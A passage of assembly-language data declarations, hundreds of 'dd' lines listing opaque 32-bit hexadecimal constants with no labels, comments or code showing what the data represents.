0BF00CD5Ch, 870DBCBDh, 168A295h dd 0B24C6429h, 0F84F442Dh, 0A19FA4C4h, 4BDB626Ch, 2C784AF0h dd 0D51F132h, 2B98A2EBh, 29B4CCC1h, 0F2400405h, 0C30133Fh dd 0CE4157h, 5EC90F68h, 0BCA8BDD9h, 34B4C450h, 7D7A2513h dd 5CE94895h, 0BD90B083h, 0BE20297Ah, 9446977Bh, 8B5398C4h dd 0B70BF4A2h, 0A06E5CAFh, 63601CADh, 0ABEBD7h, 837F3673h dd 0E7FE3F90h, 0C6D2B32Dh, 0C0B727A0h, 0EEAC2820h, 0E8092F31h dd 29A41924h, 84D0B734h, 0F0B9488Eh, 72802C64h, 26E803ADh dd 70B0FFA5h, 4C90B3C5h, 8CA6E828h, 1A0BF272h, 60C8B1C0h dd 4FDA3397h, 0B288E0DDh, 48B4DFB0h, 0B0586A00h, 0BF56E180h dd 43E268A2h, 0DC810500h, 16F907C3h, 0B0263EF7h, 38F487F2h dd 0E54D0301h, 2B6246AEh, 3381A86Ch, 12144BEh, 0C93EF47Ah dd 22C47D8Ch, 100498E7h, 2430EE58h, 980E34AEh, 1A889A6Eh dd 882CDE1Ch, 2C046B5Bh, 30BA49AEh, 2F75BC40h, 106EB624h dd 62BCBA27h, 2070D3F4h, 127A3538h, 48F0A6F9h, 18681058h dd 0D8380F7Fh, 43D208BBh, 621EB65Ch, 0E41656E4h, 780808CEh dd 0DE8B626Dh, 9540D83Ch, 0B6EF2490h, 78EBD2E8h, 7046AA28h dd 80AA3F08h, 7476BA42h, 0ED521FC0h, 33EE34B8h, 0E860D858h dd 94078C23h, 9949C131h, 90453FE2h, 30A0BBDCh, 5860D204h dd 0DC1D1B34h, 0B2836D5Ah, 0B033B340h, 1352BCD6h, 3C8ADE6h dd 9CBC4DCh, 1B0F20F6h, 0A0EBFE8Ah, 3F15AD56h, 78BD1DB2h dd 6BEF0462h, 4164A5ABh, 0EC242FDDh, 0F0009AEh, 4363C5F6h dd 606575h, 0ADED328Ah, 68ECB2D9h, 64DE4C02h, 0F429D0F2h dd 0A4467458h, 50749400h, 49FE3036h, 0E6AB2E25h, 328020B0h dd 0C9E5B309h, 0B074D695h, 86ED1180h, 0ECE22F5Ah, 68E712BAh dd 0EEA9847h, 87C6C4Eh, 186062B0h, 0D326279Eh, 759A3110h dd 1D62808h, 11015D78h, 372888F2h, 0A0321F71h, 182E3333h dd 181118ACh, 9C00811h, 83D8D580h, 0E22039BEh, 5B6B3196h dd 1FEEB08h, 4016EBEh, 0A050B995h, 0E67331BBh, 15A5D10h dd 888D5FFh, 41089FE7h, 0C19B08A2h, 3034390Ch, 68704084h dd 6510E863h, 0C081820h, 81A918B1h, 88911CCh, 92964009h dd 0AE9F61C4h, 60B2304h, 2020258Bh, 3120C03Ah, 731B2097h dd 8BC3833h, 0A771105Dh, 62407B86h, 0B641CA85h, 0CCC68890h dd 8B7DA08h, 75089AEBh, 0F1B91BA6h, 0A938DCC7h, 0B8081D63h dd 0DB18195Eh, 884F08D0h, 8120411h, 50CC6F2h, 40E33080h dd 35657F10h, 0EC444110h, 0C70CC530h, 8F400A69h, 10B062DBh dd 0EF038A96h, 1308151Bh, 7631F86Ch, 16BE908h, 2095F432h dd 0D518E0A3h, 265208C9h, 229418C9h, 0E60061Ch, 311BF978h dd 4D6959D8h, 0A47E8090h, 3199A683h, 6F08B5CAh, 6E208C7Ah dd 412D0882h, 5119FF7Fh, 0C408644Bh, 0B42F8995h, 10D89010h dd 543FCB10h, 0D2457DC0h, 56DA798Ch, 6D62F208h, 0E9BEF818h dd 0D052CF70h, 0A3184921h, 5405A853h, 64C78069h, 9B4B179h dd 737824A6h, 487A0892h, 0C9390D88h, 3C225F10h, 8C093876h dd 40C6089Dh, 0D4A89720h, 0E3806A26h, 4318CA28h, 861888D0h dd 10FBB30Ch, 24C092E4h, 99989392h, 53DD0858h, 99102C9Ch dd 10186FF6h, 9EAC08A5h, 80A60E80h, 30C63293h, 0F8088371h dd 51728124h, 1A881B4h, 0CD02132Dh, 9CABE4A3h, 0F5481010h dd 6290512Ah, 0C321E132h, 3422E4A9h, 0A803AE3Ah, 9E201033h dd 89F24B8h, 8949588h, 3318623Dh, 0C8884459h, 4C08EC99h dd 49211803h, 2681BC3Fh, 92DF0424h, 88A2497Ch, 74984078h dd 40812940h, 0FE4005C8h, 72FD40CFh, 12C1A116h, 0AC4F7820h dd 91132CD2h, 0AD0881D8h, 8F92BBEAh, 0A087C310h, 1A1BBD38h dd 5E600BB4h, 3C208A04h, 0E9119DD6h, 503BB258h, 0F74AAD99h dd 0E382F4A8h, 1CE602BBh, 3F9FE39h, 42787C2Eh, 3F56D8F8h dd 1CD45A65h, 1C2143EFh, 62F347EDh, 28FCE0DAh, 2A0C2C01h dd 788FB7B8h, 0AA8021B4h, 0D5D390Eh, 14ACE201h, 0DC303AC0h dd 0C06662F0h, 0B9BE3129h, 7B007607h, 0B7D4AC65h, 1E79CCD6h dd 0CE4FBCAh, 8F78B32Ah, 6114AF03h, 0F8AC6B96h, 12012CD9h dd 0B8431930h, 44E3EB4h, 9335B0BCh, 0D444C0FFh, 0A0C09711h dd 7298F5Dh, 78DC807Bh, 6892B40Fh, 5298FC5Ch, 4AAC5040h dd 1F88E4E8h, 0B6895B14h dd 78D41794h, 0DD28A8C0h, 2A360082h, 5E7D9163h, 513FAF74h dd 0AB4A9B65h, 0C469E248h, 934B0EC4h, 3280551Ah, 7CD4890Bh dd 5C6DEA40h, 3B00F0BBh, 6A5A2A03h, 0F1440B9h, 845BCDh dd 734921E0h, 0F25CF77Ah, 0DC6F261Ah, 0BC9100AEh, 4987C9CEh dd 59F8B401h, 0C39DD26Ch, 0E039C2ECh, 2F761962h, 849B4682h dd 42E1AC88h, 504EACF4h, 0ECAE8451h, 0F16EEBEh, 0D4263258h dd 3C0059A9h, 0A5BA6B66h, 4F10340Bh, 1F5CF094h, 80A7B65Fh dd 119EE9AAh, 8E256378h, 4DB461EFh, 7B2E2840h, 0B4A60AF3h dd 4FF4B9FAh, 5597C9h, 6AEE2D94h, 5C8F78C2h, 613086FAh dd 82551890h, 1324140Ah, 0AE00C033h, 0B2D442DFh, 0DE98C054h dd 11C2A1Ah, 31FCB0A0h, 0EEB86C0Eh, 59BCA015h, 60FF1909h dd 461E849h, 7D03C169h, 0BBF32C4Eh, 4B201031h, 0DB620547h dd 0F0049FB6h, 5A006D8Ch, 341B048h, 83697625h, 1B24FF8h dd 661953D8h, 804E7F12h, 0B4DC5540h, 9D6C921Ah, 6CAC1C69h dd 0BE618590h, 0E6D420B0h, 300892CAh, 0E6B0B36Ch, 0AD0FE3A4h dd 0E0B5BC2Fh, 0AC894333h, 63D4A4DFh, 5B024A46h, 0B965D4E8h dd 560C092h, 8A551221h, 0B458C3D6h, 0EFC166CFh, 0D41086C5h dd 285141h, 0C8AE0608h, 1CD09280h, 0C0B66A04h, 2280DEC3h dd 67233A35h, 30B18845h, 112A0DD1h, 76C85750h, 0E39E73Dh dd 0E72E8ADAh, 4CE3D82Ch, 0B78050D6h, 257217h, 8F7AB902h dd 58EB2CC0h, 1DCAD414h, 3C1E76D8h, 614C291Bh, 1339092h dd 325C893Bh, 22ECACF2h, 0BA6A13B8h, 82167CD0h, 0F12B0010h dd 0D457770Ah, 50C232A5h, 0A02EAFC2h, 0B61955C8h, 0DFE0A0D7h dd 15AD80BFh, 0DA2E0703h, 0EACEE264h, 33C8A0C9h, 16B48963h dd 0EC0466B7h, 8DE98468h, 0B5032104h, 7DE6EC50h, 6EE0E8A8h dd 847C7B00h, 9ED1AA50h, 92100C9h, 327D2B43h, 0E9E02A07h dd 442838C3h, 0D4E1A896h, 269D0615h, 0E5A802Dh, 28C03460h dd 573304Ch, 0AC2AA11Ah, 828024D1h, 0BB062164h, 13488460h dd 0B03FD4DBh, 917268D8h, 0FE003891h, 117C66D5h, 77337DBEh dd 0D1C30309h, 0B94D1929h, 81315123h, 0C79EEAAAh, 5E308F81h dd 29E282E6h, 0A88C7889h, 1FF58F0h, 7E5C8452h, 0CC4D352Ch dd 1E0239F0h, 2FD5464Eh, 0C3EC40B2h, 0CB290669h, 90FC895Eh dd 0F1BB7A40h, 40FAB820h, 6750916Bh, 0F0C5AE5Ch, 56C54CD4h dd 2AC4601Eh, 6C91331Dh, 8014C572h, 9F86DAC0h, 4EA1C883h dd 63292A89h, 2A191094h, 577C400Dh, 0A38E656h, 0F46D59D4h dd 31561D81h, 57205E69h, 57053039h, 0BDF9BE11h, 4FD7D8A0h dd 435D80h, 96D1DA1h, 32656C12h, 3AC2E5EAh, 81B6C629h dd 425CF298h, 78088EF0h, 0D4720C2Bh, 6270AC43h, 401A2925h dd 1190440h, 0BADC477Bh, 0D47689E9h, 3000239h, 0B4185146h dd 674911F5h, 2092C04Dh, 0F043BAAh, 4BED1500h, 3511D78Dh dd 0D1E1C8F4h, 0E73F62h, 2CE60439h, 0DC4BE81Fh, 185B8E0Ch dd 11D49991h, 77327259h, 6447C07Dh, 0DA182084h, 0AC9420F1h dd 8450E948h, 0D0881B21h, 0BA94A3B4h, 0FE74C95Ah, 2B57D940h dd 0BC04122Ch, 94387081h, 290039BFh, 44907455h, 627ED4DFh dd 2ECB58C1h, 0E3968CC0h, 0E027C1C2h, 4248402Ch, 0B041D91Bh dd 4C4608Eh, 4B26F076h, 551C9834h, 3996B4A4h, 9859180Fh dd 14325A08h, 60EAAC28h, 2A083B02h, 9841C5FEh, 10A80601h dd 2E413719h, 133C37D1h, 70421480h, 82EC6CDBh, 68768Ch dd 5873445Eh, 0F799EF12h, 0B80F150Eh, 12C74D60h, 2CBFBF6h dd 8ED695D0h, 34ED7141h, 0E32EDD7Ch, 6900A934h, 4A5B285Dh dd 642E0038h, 9D22CF91h, 1424E512h, 0D24264E0h, 81C90556h dd 0DE43446Ch, 5F00CC0Ah, 2C9128D3h, 39DA802Fh, 15DB201Ch dd 0ACE35A03h, 20304217h, 418B951Ch, 0FC38297Dh, 0C37083B9h dd 986C8EF1h, 0B480A08h, 4788D055h, 79DD2820h, 0CB5CC74Ah dd 1A0C1070h, 29CCD100h, 10FDAB6Bh, 0AC7C6D00h, 56A827BEh dd 1A737E34h, 60BBA70Dh, 4400A862h, 0C7B6C511h, 0D430664Ch dd 0A2C8160h, 2074A64Dh, 0C9C50E7Ch, 11827D07h, 10761D7Bh dd 570138A4h, 83A6219h, 2E2ED833h, 11A63B9Eh, 38D90C46h dd 0F0B81080h, 6FF0120h, 0FB99D44Ch, 2AFC0E0Eh, 38ED742Ch dd 902B304Ch, 4EE4D24h, 13C94F24h, 0ACB861FEh, 26D062DEh dd 190CB8C7h, 3092A147h, 9A982BCEh, 4C0207B5h, 0F09EC96Dh dd 9B0C071h, 0BCE92CD5h, 0EA0360D8h, 270B2C72h, 5536B5Ch dd 9C906E47h, 0BAE01712h, 6B87E24h, 7DD42ABBh, 81F42026h dd 8C123F24h, 79BD43h, 0B79E6D58h, 11803EE6h, 3A656A00h dd 7259D51Ch, 2ABCB8A3h, 0B08AC6Ch, 0CC2964DEh, 40EA74D0h dd 0C4C09E6h, 2039C9A8h, 757F0B4h, 1054BA23h, 7A5AC6D4h dd 9365E0F3h, 38927C71h, 39092902h, 668018EFh, 0E02A0FDCh dd 288A325Dh, 0A21044A8h, 615864B8h, 0F82394A1h, 0DC48190Ch dd 620EC459h, 64721164h, 0D0A20B20h, 29504A22h, 4350FAECh dd 3A00BEE8h, 65478DA7h, 4C8946ABh, 0C42627A1h, 175E01C8h dd 0E4386151h, 58779DDDh, 3F16B3Ah, 7C85F28h, 663AD2E2h dd 50D4737Ch, 39ECC038h, 55BE4711h, 0F5A92F31h, 0D4C301FEh dd 813E8860h, 5BA08CB5h, 71ED3850h, 0BCAD3A11h, 0B203BCC8h dd 55C9D23Bh, 49100AEBh, 620042BBh, 9ACC2A05h, 0AA390890h dd 191F066Fh, 5C200927h, 950EA089h, 16B6E704h, 4594F0DBh dd 56146E00h, 11EEB41Ah, 0E88A56D9h, 843A6334h, 46C12F8h dd 217C8C8h, 6270C995h, 0C4AC42B5h, 13B8919Ch, 842C12AEh dd 5940D8F0h, 5921386Dh, 80B0FACBh, 41D6AC30h, 3A793C51h dd 0EE28F33Ch, 0AA690908h, 8C6777Dh, 90202B5Fh, 7801758Bh dd 48FB6864h, 33620B08h, 0B09A00A2h, 4880BC5Ah, 7CBAF2FCh dd 0CBC96C04h, 0DC88FDACh, 296B09C3h, 3801131Fh, 85B29012h dd 9B6F4118h, 7491F866h, 30CC4A61h, 62EC2C50h, 0C066D0A2h dd 3922420h, 0CA954C80h, 90B40B11h, 325CBB5Ch, 0F6B4E200h dd 6EDF4C61h, 0E92348FAh, 0BEEBE800h, 4803C9C2h, 29BBB21Eh dd 181FC557h, 78012CF8h, 0EFE1FC00h, 4B330939h, 608C530Bh dd 0A6CC19D0h, 0BC4CAB81h, 7FF700EBh, 53A63BCh, 8498429Eh dd 39E32C06h, 9119D1Dh, 67A0D4DAh, 61C2D044h, 61D255h dd 0DC62EFB4h, 0A503847Dh, 35922885h, 0B4E141E5h, 38210E0h dd 0AC59977Ch, 0DF8840D4h, 20320F8h, 5DC21E11h, 54BBE16Ch dd 68DAA3FDh, 244F6A8h, 29931121h, 44186EEh, 85C9EF94h dd 9195078Bh, 355528DCh, 99D5A6h, 9C4B0538h, 7CB3E465h dd 714998B0h, 6908384Ah, 32475A4h, 6A50D505h, 9B54038h dd 44A1B129h, 3542C7Ch, 5911614Ch, 9168C816h, 0C4046658h dd 0C4254318h, 330CA5A4h, 0A8643D78h, 613CA820h, 5F739E6Bh dd 0FC8C1852h, 449039h, 736D2787h, 8EAF8F02h, 6CB280EFh dd 0C6D1A0CAh, 121792Fh, 0E1B1D0Fh, 7067C52Ch, 6A4FD424h dd 0D09C9018h, 16C8C77Ch, 41580AB4h, 75A5AF55h, 0D4908494h dd 0E0D035B3h, 1DA02178h, 6C5B5981h, 282CAC28h, 0BD83303Ch dd 0E001A1A9h, 66B7AA07h, 11EB09B2h, 7F2162C8h, 823A1C38h dd 16682B87h, 60B80021h, 0C8CC496Dh, 0EF909Eh, 0CDB36D4h dd 52792A0Dh, 2986FC91h, 0A010B565h, 0B184A34h, 0D23A69E3h dd 98AE6876h, 4CA30A00h, 18172F12h, 0A10CCFD4h, 0D77BACF4h dd 573A5B04h, 64883334h dd 2C195CA6h, 2CD1D40Dh, 7C1C34A8h, 0B30C8494h, 51660BBh dd 226C6A55h, 0F6FA814Ah, 7A909790h, 2410809h, 8136CBC0h dd 0C8C98EE8h, 0C3340876h, 0D41CF034h, 186B4C33h, 3BD8206Ah dd 33BD7C15h, 0D56C004Ch, 87DB8ABCh, 0CFD7B65h, 0C32811E4h dd 2C90CAF0h, 3FE24709h, 0BF6F8031h, 0C06AEDD4h, 77F8B658h dd 0CF7C08E5h, 1F11F50Bh, 2949314h, 0D6D461D8h, 78801274h dd 7703247h, 9C20F4B8h, 0D4E88052h, 34304D34h, 7A12A53Ch dd 84E0D721h, 2988F0AFh, 9ACA25Dh, 7305CE4h, 0EB72645Ch dd 0CCC068F0h, 78860085h, 0DE1AAC7Ch, 0C83CEA88h, 38A93029h dd 455FE0h, 0B9962855h, 0BAA1FF58h, 0D43FC51Dh, 34CA60D2h dd 56BE0106h, 95F608B2h, 48486B69h, 4DC555D4h, 1F4E0496h dd 0B8D82704h, 53038574h, 0DF192BE2h, 0CA5005E7h, 0A00EB563h dd 0C9796B14h, 10FCAC2Dh, 8066408Ch, 1112D7B5h, 3C8C8024h dd 4BC824AAh, 0D2046F58h, 0D4190155h, 4880AE1Fh, 5C66CA6Bh dd 6180EE33h, 88083129h, 0CC2CDF28h, 0C1B5392Ah, 843CE4F8h dd 290882A5h, 0F5E1B449h, 915042FAh, 0FE1734D1h, 887C2C0Ch dd 9A749833h, 98D425D4h, 1F2C2C50h, 1E88702Bh, 0C3420085h dd 0E3E2D366h, 1BC0CFF1h, 29129011h, 8007C64Ch, 0CA207FDBh dd 2816796h, 0BAD7B861h, 870472Ah, 922D42Dh, 0D3A8B8C4h dd 5191829h, 6C591037h, 109DD72Eh, 0DD20A0C9h, 3D345A85h dd 9890526Bh, 0F8452925h, 9CD29016h, 204870AAh, 70C3D9FAh dd 0C0E528E2h, 1E67BB91h, 40B69E89h, 5A817115h, 9001E2D2h dd 162E9CD8h, 6B60BA67h, 0A612FC25h, 86914158h, 0DE44D469h dd 0D8D60218h, 8EE97EDAh, 0D0603962h, 1C00AD29h, 3AE677B5h dd 5ED46404h, 888412BAh, 0BB7C696Ch, 3F87149h, 0FC86B080h dd 4BE7E77Fh, 0AC475AF0h, 0F10EB014h, 5BF4C0EAh, 73B01D81h dd 29111A46h, 0D4179816h, 4C056B0h, 14761E2h, 0B5E84D5Fh dd 6CBB80D8h, 533E1078h, 0D42C4B04h, 0F1089065h, 1490893Ah dd 1910D893h, 1DB4DB02h, 68C66B92h, 5A7A1542h, 7CF4C188h dd 0A0876F0h, 0F665D58Ch, 491C7C2Ah, 2B4FB84Bh, 34C4B3D4h dd 27E554C0h, 30427B3Bh, 3460AB81h, 904D2Fh, 5C0E3100h dd 35EEFA46h, 248C00F8h, 7C9EC5Eh, 74404FD5h, 56FB0915h dd 78695DD4h, 10E029DBh, 4E2DBAB4h, 5AF17C18h, 3E208090h dd 0B79219F4h, 79D8D1F2h, 90CA0344h, 9A607CB0h, 8890E367h dd 3C576917h, 0CB00CD30h, 135418A2h, 67079178h, 0E9EE62C3h dd 0E22231D0h, 29B10A01h, 7803D86h, 55A73A34h, 2050DD39h dd 0A89A0CFFh, 1650083Ch, 98F9C7D7h, 3B6C2A0Ah, 0B482CFCh dd 0FC6C0B34h, 0E595A800h, 5DFB4580h, 92E62412h, 0B2D2815Ch dd 20E73C72h, 3004C328h, 6A119355h, 0CC264C3h, 98472911h dd 0CF8E2A0h, 6180C60Eh, 261B242Ah, 33DB2C01h, 613C4C13h dd 94269990h, 0C4A44410h, 66A7B405h, 6787DC01h, 0D7C94030h dd 0F2D060h, 0CA602C3Ch, 6F28E50Ah, 0D316A02h, 8577AC19h dd 98D892D0h, 2C4247E0h, 5410C897h, 298F5B03h, 305A2430h dd 730CF01Eh, 42CC864h, 0AC5961F7h, 6118E2EFh, 99D3D4C0h dd 2DD22101h, 0C2DC0D1Ch, 0EED07EAEh, 2554B662h, 27D41018h dd 4A9C805Dh, 40108CA9h, 944C0E9Dh, 584EC0C5h, 504F8467h dd 40E4C4DBh, 0DA0062EDh, 0AD17715Fh, 48F0DF3h, 3D1282CFh dd 6888D68Ch, 0CB4EB89Eh, 0DA00A01Eh, 1AD8E5Dh, 136323D5h dd 50657BD4h, 2984FC90h, 9CE64278h, 94309164h, 0F9077085h dd 1660DEAEh, 0F446682h, 83A597Eh, 6DB4A6A0h, 6701C094h dd 9360D511h, 88AE4A1Ch, 0AD950348h, 32900DBFh, 9F30D06Ch dd 91BB087Dh, 88B204C8h, 0E65EF3DEh, 0B3811974h, 0CBDC6398h dd 2F4091E8h, 0B494A82Bh, 6701F2B0h, 0B5F4335Eh, 503563E4h dd 7779707Ch, 0D4E201B4h, 0C2BF020Eh, 0EC47C480h, 90461826h dd 1E50E104h, 32DFF300h, 55F8CF6Fh, 2C7B853Ah, 788908B4h dd 80AC000Ah, 0CEE5225h, 46C4125Bh, 0D000D188h, 0D4FE2135h dd 731A55Ch, 0F2EE8ACh, 5119C13Fh, 8A28973Eh, 0CE29E481h dd 0F8728825h, 813DD412h, 3D433728h, 6470730h, 26F58AF2h dd 0F05E50B8h, 508287F8h, 481915CCh, 0C04E9422h, 0EA85B1D0h dd 0B29BB09h, 2CB851B6h, 21CA93ACh, 0BC7C68h, 167D6C92h dd 131C3C73h, 1E45FFCh, 0C0D45CF8h, 9198873Dh, 0DBF3EAB9h dd 9AEB8019h, 2C561473h, 407A44FDh, 3D00ABB3h, 0AC614A1Ah dd 14BB7BEh, 0D0D26E90h, 215160D4h, 10E060BCh, 0B1591340h dd 9C99C90Ch, 0CE845C7h, 76212FABh, 0ECC9DA0Ah, 3026047Ch dd 0F1283318h, 20D09012h, 6B005EB9h, 7D4032ABh, 4CE79422h dd 8BA47C33h, 0DD8C00A4h, 35D5D164h, 180624F1h, 30C0EB3Ch dd 0BCAAF6E2h, 0C7C3C4F9h, 0C9B82531h, 0D044A809h, 3C62C417h dd 0EA0CB861h, 7B14AC62h, 5F27C079h, 5E2CF410h, 646581A0h dd 6C5002F4h, 0F200FFECh, 0ACDC7D9Bh, 0E88401h, 7791D2E6h dd 4C64EDEAh, 9465804h, 8812524h, 509E304Bh, 0C8729655h dd 0D43B1908h, 489D4A28h, 14D6646Ch, 0BE844CECh, 70D8B031h dd 8B20736Fh, 9BB06B9Fh, 5695B89h, 272CB0D8h, 0DC417BACh dd 23471B6h, 0ECC8E318h, 956B77D4h, 16A46550h, 0E3BCCC21h dd 28D8BF5Dh, 1C9CA0D7h, 6C7C198Ah, 0D86312BCh, 8A91B044h dd 0E6297801h, 0AC708948h, 1EBC73D0h, 25AAFA61h, 86A42ECh dd 684E555h, 21230419h, 8B3F7605h, 50A5318Ah, 2A804444h dd 56B6418h, 1F11DD94h, 6AE804C0h, 17B080BCh, 20FB90DBh dd 603ADA1Ch, 3988D527h, 0E69D84ACh, 3B88CCA8h, 24017424h dd 6011E0B5h, 4D40002Ah, 41B3D56Ch, 12135EE8h, 4C4044CDh dd 0F4212FD2h, 72CE0BC3h, 0C040DA34h, 0B4023539h, 22D4E058h dd 500E0B98h, 44605520h, 1112BF7Ch, 50F4858Bh, 0DFE90FD3h dd 4789C620h, 0D4DDD8A0h, 2F82CB25h, 0C8521E80h, 0C6F25842h dd 805A0985h, 4AB3D620h, 4668D557h, 0E93DFE78h, 55E1E0BCh dd 5C7861E3h, 916338C2h, 0F0F57840h, 7778227Fh, 0D4106B4Eh dd 761500BEh, 0AA8EA8C4h, 44044906h, 0C91D684Ch, 320D7998h dd 4250B6E0h, 0F4E84C0Bh, 477ADACBh, 0B2B56A00h, 0AE04DEADh dd 4E60B8F0h, 0B4C800EFh, 2C4D61F3h, 2F11B80Ch, 286278CEh dd 39BD23D4h, 47BCED2Dh, 107AC118h, 68C99E14h, 58442011h dd 60A1296Dh, 0CF6C9807h, 0D30091B2h, 0F4D1C7C1h, 5F2A0F2Ch dd 4640980h, 0FD144010h, 0F3D4590Ch, 1E341099h, 49DB56FBh dd 1823DFF4h, 902CD0A4h, 5949A846h, 8219841Ch, 0ADB8D03Fh dd 0ECC3F6EEh, 2EBF9AD4h, 441C6C40h, 4FA8BD4Ch, 4CC21864h dd 1424E05Ch, 32720344h, 7A09B8ACh, 0FE3A70AFh, 457247DFh dd 0D8C86C30h, 13D72B70h, 16EC192Eh, 38E000E8h, 0CAA8578Dh dd 8395E4F2h, 9D99C0h, 387CDCF0h, 81646F2Fh, 0F1B65305h dd 0CC40F0D2h, 4C5E71C1h, 0DE770033h, 0BB2C1C3Ah, 72018EE3h dd 8BF43B87h, 27DF89D4h, 0AC4626B1h, 2A063B13h, 0BC881824h dd 4B327D4Bh, 75280F89h, 6C826A09h, 28401680h, 1A3CFB67h dd 49CE9235h, 22995089h, 282F1053h, 7E407208h, 91C9869h dd 1A869DE8h, 4839558Ch, 0DE41B209h, 80DC617Ch, 0F0D4522Eh dd 0C92691C8h, 584A24CCh, 0A8C8AD16h, 727C0FD4h, 0FC1E76D7h dd 9508EC28h, 0F039BCA5h, 3A2A2B60h, 0AF3DD4BAh, 7750C804h dd 6F4BBE40h, 7B26F034h dd 94979885h, 80291200h, 14A4A1A4h, 53E4A098h, 39CEB409h dd 8AC49804h, 0CCC582C0h, 0FA104CACh, 26E10079h, 0CD6C40C5h dd 0B707659Fh, 30837067h, 7D20D990h, 481A0EECh, 0E5605AEDh dd 0D1C8A891h, 3AACC65Ch, 87AC8BF8h, 0C9406075h, 12650966h dd 80A156BBh, 3895D417h, 299105A8h, 30F40BF4h, 9002FB74h dd 2C1F0CF9h, 56881AEDh, 0E2CFC0F4h, 83BD085Ah, 9CBF6740h dd 0C03A74F5h, 3447A888h, 59120F40h, 0C3240898h, 25F907C0h dd 0F80D7028h, 2F5AD460h, 0F323009h, 3837AC1Bh, 7C9C0183h dd 917957FDh, 0C1DAC467h, 19ACE301h, 86184B12h, 0B0631420h dd 57DD2693h, 0B089A740h, 33C46C8Fh, 0B298B822h, 0CB00C002h dd 0F5B4270Bh, 8C28A418h, 2ADA751Dh, 0F9A37D40h, 1FFAA108h dd 409C7090h, 0B2425C88h, 4B90E5F3h, 11AD962Dh, 0D8654B7Ch dd 805CF0F0h, 3CA9EEACh, 3CB0491Ch, 593277E4h, 0D9172892h dd 3B190BE8h, 617690F0h, 0D21260A5h, 487008C8h, 0C200C402h dd 4BA00EAFh, 5B2EA862h, 0B0B84019h, 455F2013h, 677D3E4Dh dd 0B84AAB0Eh, 77A029ECh, 53B3A514h, 0E8AD259Fh, 400854D0h dd 9E27305Ch, 633C1226h, 90CD9890h, 166935AAh, 7E13AE89h dd 4409F8D7h, 83C25EDCh, 0A94C4DA0h, 94E17F4h, 4C07452h dd 2C125DE0h, 849C06D3h, 0B339E57Ch, 80FD2D7Ch, 21F2AC84h dd 0C7D83F7Eh, 0B9F9188Ah, 0D9D683B4h, 0CC98D1F4h, 1C27ECE2h dd 69946843h, 0C89B0E01h, 9898BDD4h, 29276C60h, 86640F77h dd 13601458h, 753A9C2Eh, 0CEC85ECh, 8010344Dh, 2FB73F1Dh dd 0F988AA01h, 0C8FA1C18h, 0E3B5D4DCh, 44198874h, 58945A38h dd 63BDCA04h, 0FA1968BCh, 2C388960h, 0BEDEC768h, 0CAD4A143h dd 5598801Bh, 0F40361h, 0BAF6DD98h, 1D9229ECh, 262200BAh dd 3CBC88BEh, 9047F6A7h, 55F00B0h, 8A568FD3h, 466ACBD4h dd 841C78D1h, 6DD51804h, 0FE8084C7h, 7ED46B4Dh, 16AC809Ch dd 0E4C2EF03h, 0E9CE415Dh, 0E83357A7h, 0ACF0844Eh, 712908C4h dd 0EBAC1220h, 50C4000h, 0BF2C43DFh, 3D41C81h, 0CDB04509h dd 60920084h, 919D063Ah, 9102E880h, 0E3402866h, 0AC685448h dd 0D5B4441h, 0AB0800BDh, 3172036h, 11BEA614h, 18242E06h dd 0F63CAC55h, 18FB8404h, 4E008893h, 5B33D58Ch, 49AFEC9Bh dd 56EEA658h, 0AC0B64CCh, 78C196B0h, 0FF008CCCh, 0B700C150h dd 68F9AC94h, 3D4E3EDh, 0B2D36C88h, 8DBA97F7h, 24317C48h dd 5E587DFCh, 4080B508h, 29560432h, 0A7E8D9CAh, 45A462h dd 0D0AE9821h, 6CF29564h, 0C3ECB54Bh, 22A4DCB0h, 0A89AD0B0h dd 1912647Ah, 0C4E6BA17h, 0E4CC813Dh, 982A261Eh, 0D2032013h dd 0E5317905h, 0DCC114ECh, 2F277Ch, 5AD8184h, 0A80E6B20h dd 97A94103h, 881F0A1h, 93299FCEh, 58003F97h, 0D4F41FDBh dd 144E4DF1h, 600FB72Dh, 53557FA0h, 0A300AF90h, 0E7A95F64h dd 4517ECh, 3C01BAACh, 83A48EBh, 0C0FC9501h, 0A4CED5A3h dd 4B851000h, 910CEA00h, 0B36A96B9h, 0ACEC3F71h, 0BE814981h dd 797511EDh, 3FF71094h, 59F42C09h, 4CE01000h, 1910366Ch dd 54099055h, 1C89CFB4h, 95AF4018h, 66C7CCA8h, 0F4F8FE07h dd 0DD2499Bh, 8A620047h, 0EA00BAF5h, 0A528CDD1h, 120149BDh dd 116BCA6Eh, 19C2E47Ch, 0C60D21Ah, 6513C72Fh, 3404F53Bh dd 0EF478FFCh, 0BA408B7Bh, 14983BC2h, 0A89C69ECh, 63935860h dd 81249190h, 0E13D2F43h, 9CA22FF0h, 1A38942Ch, 1868C84Bh dd 0EC0AD262h, 8CCDFEDEh, 50927E0Dh, 794413E8h, 95E6FEF2h dd 80908492h, 0B512BE31h, 0A02BB30h, 6846D470h, 0E2A174h dd 0DD7BA790h, 5AA4287Eh, 65565700h, 7BCCD29h, 0D4E13DF0h dd 3D127B0h, 484A102Ah, 0B4C20884h, 2904C0DCh, 0AD8CA1BBh dd 2C051C6Dh, 0A96268BDh, 8884FDCh, 0B43B40C3h, 430E34Eh dd 13F7E2BAh, 806AD465h, 0DB87424Ch, 0D4964028h, 3714100Bh dd 6D5082D3h, 52E45AD7h, 2851D0EBh, 417B004Ch, 0E55834A2h dd 949518BAh, 0B5552718h, 60417CCAh, 3C342E5Dh, 275A40F0h dd 0D0E919B2h, 5A342321h, 16CBA430h, 0D0FC5089h, 4E195A7Ah dd 7529B750h, 0D4DD87DFh, 0C7F4C339h, 5B76C632h, 91D40570h dd 35CF2DBh, 986DAEFFh, 50EBEF34h, 0E1CA12B0h, 0DBF8C347h dd 8EE089E1h, 0D32AF118h, 0F3ECCCE1h, 1B4A954h, 0A0D7CAF0h dd 4FDD34E8h, 9724A064h, 6371B277h, 1C222913h, 1C72E0B5h dd 18096E25h, 508A88E9h, 2EE446F4h, 55E89650h, 87002C96h dd 51C3731Dh, 0ACE10030h, 3C0EDAF7h, 1013A5Ah, 9F8C3D23h dd 1FC884DDh, 0CA850B27h, 7458E4FCh, 0A94B5512h, 670744F3h dd 103062B3h, 20AA2C51h, 0E0F41925h, 9D0A3F94h, 75CD8A7h dd 326162EFh, 0C855E081h, 64F80452h, 9E9C8C4Eh, 18A6824Ch dd 0F748E134h, 0FFEC135Eh, 0C4CCC142h, 3A2E896Ch, 0A684D314h dd 0D5A68AE4h, 0ACE000A4h, 0B220FF19h, 2B9E9862h, 0E46852BAh dd 0BBB33C74h, 1F855049h, 2D1CC933h, 5FD40B48h, 17685821h dd 